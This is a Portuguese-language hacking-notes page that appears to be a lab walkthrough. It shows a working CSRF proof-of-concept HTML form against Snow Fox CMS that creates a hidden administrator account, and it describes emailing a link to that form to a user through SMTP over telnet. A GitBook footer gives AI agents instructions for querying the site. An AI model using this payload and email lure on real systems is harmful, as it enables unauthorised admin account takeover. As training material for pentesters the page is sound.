> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/pt-br/web-vulnerabilities/owasp-top-10-vulnerabilities/vulnerability-server-side-request-forgery-ssrf/ssrf-email-pentesting-web.md).

# SSRF por E-mail

## CSRF:

Pesquise no SearchExploit o CMS Snow Fox, que revela uma vulnerabilidade de CSRF.

<figure><img src="/files/707497ceb530bd3e53df600d1923fc64abc3e9e7" alt=""><figcaption></figcaption></figure>

**Arquivo HTML Vulnerável:**

```html
<html>
  <body>
    <form action="http://casino-royale.local/vip-clinkt-portfolios/?uri=admin/accounts/create" method="POST">
      <input type="hidden" name="emailAddress" value="jordan@jordan.com" />
      <input type="hidden" name="verifiedEmail" value="verificado" />
      <input type="hidden" name="username" value="jordan-admin" />
      <input type="hidden" name="newPassword" value="jordan-password" />
      <input type="hidden" name="confirmPassword" value="jordan-password" />
      <input type="hidden" name="userGroups[]" value="34" />
      <input type="hidden" name="userGroups[]" value="33" />
      <input type="hidden" name="memo" value="CSRFmemo" />
      <input type="hidden" name="status" value="1" />
      <input type="hidden" name="formAction" value="enviar" />
      <input type="submit" value="Enviar formulário" />
    </form>
  </body>
</html>

```

Tentativa de ataque [CSRF](/pt-br/web-vulnerabilities/owasp-top-10-vulnerabilities/vulnerability-cross-site-request-forgery-csrf.md) ataque para criar uma conta de administrador via Snow Fox CMS

* Conecte-se via telnet na porta SMTP 25.

<figure><img src="/files/57a750d47647fa406939cc9e87e6bedd905a4b84" alt=""><figcaption></figcaption></figure>

* Envie um e-mail para "<valenka@casino-royale.local>" com os links do nosso servidor HTTP em Python3 com o arquivo.html vulnerável.

<figure><img src="/files/0f9222904a84c78e184dea29e09e5684fc591ca8" alt=""><figcaption></figcaption></figure>

**Conexão com a conta de administrador do CMS:**

* Tentativa de login com as novas credenciais, resultando na criação de uma conta de administrador no Snow Fox CMS.

<figure><img src="/files/0eb622275eee4519eef5e514bb7b0c4a4c005a3b" alt=""><figcaption></figcaption></figure>

#### Após explorar a vulnerabilidade de CSRF, uma conta de administrador é criada no Snow Fox CMS.

<figure><img src="/files/8324965768d6fd8ca292f401aa3119c61db9315b" alt=""><figcaption></figcaption></figure>

#### Identificação de uma dica na descrição de um usuário

Na descrição do usuário no CMS, uma dica adicional indica um diretório a seguir.

<figure><img src="/files/381814209d561b45b9f82139ad84ebaad6c30eb2" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/pt-br/web-vulnerabilities/owasp-top-10-vulnerabilities/vulnerability-server-side-request-forgery-ssrf/ssrf-email-pentesting-web.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
